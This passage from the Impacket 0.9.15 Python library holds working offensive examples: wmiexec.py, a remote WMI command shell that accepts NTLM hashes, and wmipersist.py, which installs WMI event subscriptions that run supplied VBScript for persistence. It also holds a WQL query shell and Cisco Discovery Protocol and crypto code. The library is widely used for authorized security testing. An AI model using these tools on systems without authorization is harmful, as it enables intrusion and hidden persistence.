return True
def emptyline(self):
return False
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print self.__outputBuffer
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong
print self.__outputBuffer
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception, e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
time.sleep(1)
pass
else:
#print str(e)
pass
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print self.__outputBuffer
self.__outputBuffer = ''
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using Windows Management Instrumentation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from (default ADMIN$)')
parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output (no SMB connection created)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will launch a semi-interactive shell')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if ' '.join(options.command) == ' ' and options.nooutput is True:
logging.error("-nooutput switch and interactive shell not supported")
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
try:
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
options.share, options.nooutput, options.k, options.dc_ip)
executer.run(address)
except (Exception, KeyboardInterrupt), e:
#import traceback
#print traceback.print_exc()
logging.error(str(e))
sys.exit(0)
impacket-0.9.15/examples/wmipersist.py 0000700 0000765 0000000 00000024630 12734531507 020055 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# This script creates/removes a WMI Event Consumer/Filter and link
# between both to execute Visual Basic based on the WQL filter
# or timer specified.
#
# Author:
# beto (@agsolino)
#
# Example:
#
# write a file toexec.vbs the following:
# Dim objFS, objFile
# Set objFS = CreateObject("Scripting.FileSystemObject")
# Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true)
# objFile.WriteLine "Hey There!"
# objFile.Close
#
#
# then excute this script this way, VBS will be triggered once
# somebody opens calc.exe:
#
# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC
# -vbs toexec.vbs
# -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance
# ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"'
#
# or, if you just want to execute the VBS every XXX milliseconds:
#
# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC
# -vbs toexec.vbs -timer XXX
#
# to remove the event:
# wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC
#
# if you don't specify the password, it will be asked by the script.
# domain is optional.
#
# Reference for:
# DCOM/WMI
import sys
import argparse
import logging
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
class WMIPERSISTENCE:
def __init__(self, username = '', password = '', domain = '', options= None):
self.__username = username
self.__password = password
self.__domain = domain
self.__options = options
self.__lmhash = ''
self.__nthash = ''
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
@staticmethod
def checkError(banner, resp):
if resp.GetCallStatus(0) != 0:
logging.error('%s - ERROR (0x%x)' % (banner, resp.GetCallStatus(0)))
else:
logging.info('%s - OK' % banner)
def run(self, addr):
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL)
iWbemLevel1Login.RemRelease()
if self.__options.action.upper() == 'REMOVE':
self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name,
iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name))
self.checkError('Removing EventFilter EF_%s' % self.__options.name,
iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name))
self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name,
iWbemServices.DeleteInstance(
'__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name))
self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name,
iWbemServices.DeleteInstance(
r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",Filter="__EventFilter.Name=\"EF_%s\""' % (
self.__options.name, self.__options.name)))
else:
activeScript ,_ = iWbemServices.GetObject('ActiveScriptEventConsumer')
activeScript = activeScript.SpawnInstance()
activeScript.Name = self.__options.name
activeScript.ScriptingEngine = 'VBScript'
activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
activeScript.ScriptText = options.vbs.read()
self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name,
iWbemServices.PutInstance(activeScript.marshalMe()))
if options.filter is not None:
eventFilter,_ = iWbemServices.GetObject('__EventFilter')
eventFilter = eventFilter.SpawnInstance()
eventFilter.Name = 'EF_%s' % self.__options.name
eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
eventFilter.Query = options.filter
eventFilter.QueryLanguage = 'WQL'
eventFilter.EventNamespace = r'root\cimv2'
self.checkError('Adding EventFilter EF_%s'% self.__options.name,
iWbemServices.PutInstance(eventFilter.marshalMe()))
else:
wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction')
wmiTimer = wmiTimer.SpawnInstance()
wmiTimer.TimerId = 'TI_%s' % self.__options.name
wmiTimer.IntervalBetweenEvents = int(self.__options.timer)
#wmiTimer.SkipIfPassed = False
self.checkError('Adding IntervalTimerInstruction',
iWbemServices.PutInstance(wmiTimer.marshalMe()))
eventFilter,_ = iWbemServices.GetObject('__EventFilter')
eventFilter = eventFilter.SpawnInstance()
eventFilter.Name = 'EF_%s' % self.__options.name
eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name
eventFilter.QueryLanguage = 'WQL'
eventFilter.EventNamespace = r'root\subscription'
self.checkError('Adding EventFilter EF_%s'% self.__options.name,
iWbemServices.PutInstance(eventFilter.marshalMe()))
filterBinding,_ = iWbemServices.GetObject('__FilterToConsumerBinding')
filterBinding = filterBinding.SpawnInstance()
filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name
filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name
filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
self.checkError('Adding FilterToConsumerBinding',
iWbemServices.PutInstance(filterBinding.marshalMe()))
dcom.disconnect()
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Creates/Removes a WMI Event Consumer/Filter and link between both to execute Visual Basic based on the WQL filter or timer specified.")
parser.add_argument('target', action='store', help='[domain/][username[:password]@]')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
subparsers = parser.add_subparsers(help='actions', dest='action')
# A start command
install_parser = subparsers.add_parser('install', help='installs the wmi event consumer/filter')
install_parser.add_argument('-name', action='store', required=True, help='event name')
install_parser.add_argument('-vbs', type=argparse.FileType('r'), required=True, help='VBS filename containing the script you want to run')
install_parser.add_argument('-filter', action='store', required=False, help='the WQL filter string that will trigger the script')
install_parser.add_argument('-timer', action='store', required=False, help='the amount of milliseconds after the script will be triggered')
# A stop command
remove_parser = subparsers.add_parser('remove', help='removes the wmi event consumer/filter')
remove_parser.add_argument('-name', action='store', required=True, help='event name')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
if options.action.upper() == 'INSTALL':
if (options.filter is None and options.timer is None) or (options.filter is not None and options.timer is not None):
logging.error("You have to either specify -filter or -timer (and not both)")
sys.exit(1)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
try:
if domain is None:
domain = ''
if options.aesKey is not None:
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
executer = WMIPERSISTENCE(username, password, domain, options)
executer.run(address)
except (Exception, KeyboardInterrupt), e:
#import traceback
#print traceback.print_exc()
logging.error(e)
sys.exit(0)
impacket-0.9.15/examples/wmiquery.py 0000700 0000765 0000000 00000017056 12734531507 017535 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-WMI] example. It allows to issue WQL queries and
# get description of the objects.
#
# e.g.: select name from win32_account
# e.g.: describe win32_process
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCOM
#
import argparse
import sys
import os
import logging
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE
if __name__ == '__main__':
import cmd
class WMIQUERY(cmd.Cmd):
def __init__(self, iWbemServices):
cmd.Cmd.__init__(self)
self.iWbemServices = iWbemServices
self.prompt = 'WQL> '
self.intro = '[!] Press help for extra shell commands'
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
describe {class} - describes class
! {cmd} - executes a local shell cmd
"""
def do_shell(self, s):
os.system(s)
def do_describe(self, sClass):
sClass = sClass.strip('\n')
if sClass[-1:] == ';':
sClass = sClass[:-1]
try:
iObject, _ = self.iWbemServices.GetObject(sClass)
iObject.printInformation()
iObject.RemRelease()
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.error(str(e))
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
os.chdir(s)
def printReply(self, iEnum):
printHeader = True
while True:
try:
pEnum = iEnum.Next(0xffffffff,1)[0]
record = pEnum.getProperties()
if printHeader is True:
print '|',
for col in record:
print '%s |' % col,
print
printHeader = False
print '|',
for key in record:
print '%s |' % record[key]['value'],
print
except Exception, e:
#import traceback
#print traceback.print_exc()
if str(e).find('S_FALSE') < 0:
raise
else:
break
iEnum.RemRelease()
def default(self, line):
line = line.strip('\n')
if line[-1:] == ';':
line = line[:-1]
try:
iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n'))
self.printReply(iEnumWbemClassObject)
iEnumWbemClassObject.RemRelease()
except Exception, e:
logging.error(str(e))
def emptyline(self):
pass
def do_exit(self, line):
return True
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Executes WQL queries and gets object descriptions using Windows Management Instrumentation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('-namespace', action='store', default='//./root/cimv2', help='namespace name (default //./root/cimv2)')
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the WQL shell')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default', help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy (RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require privacy level by default)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
try:
dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True,
doKerberos=options.k, kdcHost=options.dc_ip)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL)
if options.rpc_auth_level == 'privacy':
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
elif options.rpc_auth_level == 'integrity':
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
iWbemLevel1Login.RemRelease()
shell = WMIQUERY(iWbemServices)
if options.file is None:
shell.cmdloop()
else:
for line in options.file.readlines():
print "WQL> %s" % line,
shell.onecmd(line)
iWbemServices.RemRelease()
dcom.disconnect()
except Exception, e:
logging.error(str(e))
try:
dcom.disconnect()
except:
pass
impacket-0.9.15/impacket/ 0000700 0000765 0000000 00000000000 12734532622 015243 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/__init__.py 0000600 0000765 0000000 00000001411 12734531507 017354 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Set default logging handler to avoid "No handler found" warnings.
import logging
try: # Python 2.7+
from logging import NullHandler
except ImportError:
class NullHandler(logging.Handler):
def emit(self, record):
pass
# All modules inside this library MUST use this logger (impacket)
# It is up to the library consumer to do whatever is wanted
# with the logger output. By default it is forwarded to the
# upstream logger
LOG = logging.getLogger(__name__)
LOG.addHandler(NullHandler())
impacket-0.9.15/impacket/cdp.py 0000600 0000765 0000000 00000032340 12734531507 016370 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Cisco Discovery Protocol packet codecs.
#
# Author:
# Martin Candurra
# martincad at corest.com
from struct import unpack
import socket
from ImpactPacket import Header
from impacket import LOG
IP_ADDRESS_LENGTH = 4
class CDPTypes:
DeviceID_Type = 1
Address_Type = 2
PortID_Type = 3
Capabilities_Type = 4
SoftVersion_Type = 5
Platform_Type = 6
IPPrefix_Type = 7
ProtocolHello_Type = 8
MTU_Type = 17
SystemName_Type = 20
SystemObjectId_Type = 21
SnmpLocation = 23
class CDP(Header):
Type = 0x2000
OUI = 0x00000c
def __init__(self, aBuffer = None):
Header.__init__(self, 8)
if aBuffer:
self.load_header(aBuffer)
self._elements = self._getElements(aBuffer)
def _getElements(self, aBuffer):
# Remove version (1 byte), TTL (1 byte), and checksum (2 bytes)
buff = aBuffer[4:]
l = []
finish = False
while buff:
elem = CDPElementFactory.create(buff)
data = elem.get_data()
l.append( elem )
buff = buff[ elem.get_length() : ]
return l
def get_header_size(self):
return 8
def get_version(self):
return self.get_byte(0)
def get_ttl(self):
return self.get_byte(1)
def get_checksum(self):
return self.get_word(2)
def get_type(self):
return self.get_word(4)
def get_lenght(self):
return self.get_word(6)
def getElements(self):
return self._elements
def __str__(self):
knowcode = 0
tmp_str = 'CDP Details:\n'
for element in self._elements:
tmp_str += "** Type:" + str(element.get_type()) + " " + str(element) + "\n"
return tmp_str
def get_byte(buffer, offset):
return unpack("!B", buffer[offset:offset+1])[0]
def get_word(buffer, offset):
return unpack("!h", buffer[offset:offset+2])[0]
def get_long(buffer, offset):
return unpack("!I", buffer[offset:offset+4])[0]
def get_bytes(buffer, offset, bytes):
return buffer[offset:offset + bytes]
def mac_to_string(mac_bytes):
bytes = unpack('!BBBBBB', mac_bytes)
s = ''
for byte in bytes:
s += '%02x:' % byte
return s[0:-1]
class CDPElement(Header):
def __init__(self, aBuffer = None):
Header.__init__(self, 8)
if aBuffer:
self._length = CDPElement.Get_length(aBuffer)
self.load_header( aBuffer[:self._length] )
@classmethod
def Get_length(cls, aBuffer):
return unpack('!h', aBuffer[2:4])[0]
def get_header_size(self):
self._length
def get_length(self):
return self.get_word(2)
def get_data(self):
return self.get_bytes().tostring()[4:self.get_length()]
def get_ip_address(self, offset = 0, ip = None):
if not ip:
ip = self.get_bytes().tostring()[offset : offset + IP_ADDRESS_LENGTH]
return socket.inet_ntoa( ip )
class CDPDevice(CDPElement):
Type = 1
def get_type(self):
return CDPDevice.Type
def get_device_id(self):
return CDPElement.get_data(self)
def __str__(self):
return "Device:" + self.get_device_id()
class Address(CDPElement):
Type = 2
def __init__(self, aBuffer = None):
CDPElement.__init__(self, aBuffer)
if aBuffer:
data = self.get_bytes().tostring()[8:]
self._generateAddressDetails(data)
def _generateAddressDetails(self, buff):
self.address_details = []
while buff:
address = AddressDetails.create(buff)
self.address_details.append( address )
buff = buff[address.get_total_length():]
def get_type(self):
return Address.Type
def get_number(self):
return self.get_long(4)
def get_address_details(self):
return self.address_details
def __str__(self):
tmp_str = "Addresses:"
for address_detail in self.address_details:
tmp_str += "\n" + str(address_detail)
return tmp_str
class AddressDetails():
PROTOCOL_IP = 0xcc
@classmethod
def create(cls, buff):
a = AddressDetails(buff)
return a
def __init__(self, aBuffer = None):
if aBuffer:
addr_length = unpack("!h", aBuffer[3:5])[0]
self.total_length = addr_length + 5
self.buffer = aBuffer[:self.total_length]
def get_total_length(self):
return self.total_length
def get_protocol_type(self):
return self.buffer[0:1]
def get_protocol_length(self):
return get_byte( self.buffer, 1)
def get_protocol(self):
return get_byte( self.buffer, 2)
def get_address_length(self):
return get_word( self.buffer, 3)
def get_address(self):
address = get_bytes( self.buffer, 5, self.get_address_length() )
if self.get_protocol()==AddressDetails.PROTOCOL_IP:
return socket.inet_ntoa(address)
else:
LOG.error("Address not IP")
return address
def is_protocol_IP(self):
return self.get_protocol()==AddressDetails.PROTOCOL_IP
def __str__(self):
return "Protocol Type:%r Protocol:%r Address Length:%r Address:%s" % (self.get_protocol_type(), self.get_protocol(), self.get_address_length(), self.get_address())
class Port(CDPElement):
Type = 3
def get_type(self):
return Port.Type
def get_port(self):
return CDPElement.get_data(self)
def __str__(self):
return "Port:" + self.get_port()
class Capabilities(CDPElement):
Type = 4
def __init__(self, aBuffer = None):
CDPElement.__init__(self, aBuffer)
self._capabilities_processed = False
self._router = False
self._transparent_bridge = False
self._source_route_bridge = False
self._switch = False
self._host = False
self._igmp_capable = False
self._repeater = False
self._init_capabilities()
def get_type(self):
return Capabilities.Type
def get_capabilities(self):
return CDPElement.get_data(self)
def _init_capabilities(self):
if self._capabilities_processed:
return
capabilities = unpack("!L", self.get_capabilities())[0]
self._router = (capabilities & 0x1) > 0
self._transparent_bridge = (capabilities & 0x02) > 0
self._source_route_bridge = (capabilities & 0x04) > 0
self._switch = (capabilities & 0x08) > 0
self._host = (capabilities & 0x10) > 0
self._igmp_capable = (capabilities & 0x20) > 0
self._repeater = (capabilities & 0x40) > 0
def is_router(self):
return self._router
def is_transparent_bridge(self):
return self._transparent_bridge
def is_source_route_bridge(self):
return self._source_route_bridge
def is_switch(self):
return self._switch
def is_host(self):
return self.is_host
def is_igmp_capable(self):
return self._igmp_capable
def is_repeater(self):
return self._repeater
def __str__(self):
return "Capabilities:" + self.get_capabilities()
class SoftVersion(CDPElement):
Type = 5
def get_type(self):
return SoftVersion.Type
def get_version(self):
return CDPElement.get_data(self)
def __str__(self):
return "Version:" + self.get_version()
class Platform(CDPElement):
Type = 6
def get_type(self):
return Platform.Type
def get_platform(self):
return CDPElement.get_data(self)
def __str__(self):
return "Platform:%r" % self.get_platform()
class IpPrefix(CDPElement):
Type = 7
def get_type(self):
return IpPrefix .Type
def get_ip_prefix(self):
return CDPElement.get_ip_address(self, 4)
def get_bits(self):
return self.get_byte(8)
def __str__(self):
return "IP Prefix/Gateway: %r/%d" % (self.get_ip_prefix(), self.get_bits())
class ProtocolHello(CDPElement):
Type = 8
def get_type(self):
return ProtocolHello.Type
def get_master_ip(self):
return self.get_ip_address(9)
def get_version(self):
return self.get_byte(17)
def get_sub_version(self):
return self.get_byte(18)
def get_status(self):
return self.get_byte(19)
def get_cluster_command_mac(self):
return self.get_bytes().tostring()[20:20+6]
def get_switch_mac(self):
return self.get_bytes().tostring()[28:28+6]
def get_management_vlan(self):
return self.get_word(36)
def __str__(self):
return "\n\n\nProcolHello: Master IP:%s version:%r subversion:%r status:%r Switch's Mac:%r Management VLAN:%r" \
% (self.get_master_ip(), self.get_version(), self.get_sub_version(), self.get_status(), mac_to_string(self.get_switch_mac()), self.get_management_vlan())
class VTPManagementDomain(CDPElement):
Type = 9
def get_type(self):
return VTPManagementDomain.Type
def get_domain(self):
return CDPElement.get_data(self)
class Duplex(CDPElement):
Type = 0xb
def get_type(self):
return Duplex.Type
def get_duplex(self):
return CDPElement.get_data(self)
def is_full_duplex(self):
return self.get_duplex()==0x1
class VLAN(CDPElement):
Type = 0xa
def get_type(self):
return VLAN.Type
def get_vlan_number(self):
return CDPElement.get_data(self)
class TrustBitmap(CDPElement):
Type = 0x12
def get_type(self):
return TrustBitmap.Type
def get_trust_bitmap(self):
return self.get_data()
def __str__(self):
return "TrustBitmap Trust Bitmap:%r" % self.get_trust_bitmap()
class UntrustedPortCoS(CDPElement):
Type = 0x13
def get_type(self):
return UntrustedPortCoS.Type
def get_port_CoS(self):
return self.get_data()
def __str__(self):
return "UntrustedPortCoS port CoS %r" % self.get_port_CoS()
class ManagementAddresses(Address):
Type = 0x16
def get_type(self):
return ManagementAddresses.Type
class MTU(CDPElement):
Type = 0x11
def get_type(self):
return MTU.Type
class SystemName(CDPElement):
Type = 0x14
def get_type(self):
return SystemName.Type
class SystemObjectId(CDPElement):
Type = 0x15
def get_type(self):
return SystemObjectId.Type
class SnmpLocation(CDPElement):
Type = 0x17
def get_type(self):
return SnmpLocation.Type
class DummyCdpElement(CDPElement):
Type = 0x99
def get_type(self):
return DummyCdpElement.Type
class CDPElementFactory():
elementTypeMap = {
CDPDevice.Type : CDPDevice,
Port.Type : Port,
Capabilities.Type : Capabilities,
Address.Type : Address,
SoftVersion.Type : SoftVersion,
Platform.Type : Platform,
IpPrefix.Type : IpPrefix,
ProtocolHello.Type : ProtocolHello,
VTPManagementDomain.Type : VTPManagementDomain,
VLAN.Type : VLAN,
Duplex.Type : Duplex,
TrustBitmap.Type : TrustBitmap,
UntrustedPortCoS.Type : UntrustedPortCoS,
ManagementAddresses.Type : ManagementAddresses,
MTU.Type : MTU,
SystemName.Type : SystemName,
SystemObjectId.Type : SystemObjectId,
SnmpLocation.Type : SnmpLocation
}
@classmethod
def create(cls, aBuffer):
# print "CDPElementFactory.create aBuffer:", repr(aBuffer)
# print "CDPElementFactory.create sub_type:", repr(aBuffer[0:2])
_type = unpack("!h", aBuffer[0:2])[0]
# print "CDPElementFactory.create _type:", _type
try:
class_type = cls.elementTypeMap[_type]
except KeyError:
class_type = DummyCdpElement
#raise Exception("CDP Element type %s not implemented" % _type)
return class_type( aBuffer )
impacket-0.9.15/impacket/crypto.py 0000600 0000765 0000000 00000043256 12734531507 017152 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (beto@coresecurity.com)
#
# Description:
# RFC 4493 implementation (http://www.ietf.org/rfc/rfc4493.txt)
# RFC 4615 implementation (http://www.ietf.org/rfc/rfc4615.txt)
#
# NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation
# (http://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108)
#
# [MS-LSAD] Section 5.1.2
# [MS-SAMR] Section 2.2.11.1.1
from impacket import LOG
try:
from Crypto.Cipher import DES, AES, ARC4
except Exception:
LOG.error("Warning: You don't have any crypto installed. You need PyCrypto")
LOG.error("See http://www.pycrypto.org/")
from struct import pack, unpack
from impacket.structure import Structure
import hmac, hashlib
def Generate_Subkey(K):
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + Algorithm Generate_Subkey +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + +
# + Input : K (128-bit key) +
# + Output : K1 (128-bit first subkey) +
# + K2 (128-bit second subkey) +
# +-------------------------------------------------------------------+
# + +
# + Constants: const_Zero is 0x00000000000000000000000000000000 +
# + const_Rb is 0x00000000000000000000000000000087 +
# + Variables: L for output of AES-128 applied to 0^128 +
# + +
# + Step 1. L := AES-128(K, const_Zero); +
# + Step 2. if MSB(L) is equal to 0 +
# + then K1 := L << 1; +
# + else K1 := (L << 1) XOR const_Rb; +
# + Step 3. if MSB(K1) is equal to 0 +
# + then K2 := K1 << 1; +
# + else K2 := (K1 << 1) XOR const_Rb; +
# + Step 4. return K1, K2; +
# + +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
AES_128 = AES.new(K)
L = AES_128.encrypt('\x00'*16)
LHigh = unpack('>Q',L[:8])[0]
LLow = unpack('>Q',L[8:])[0]
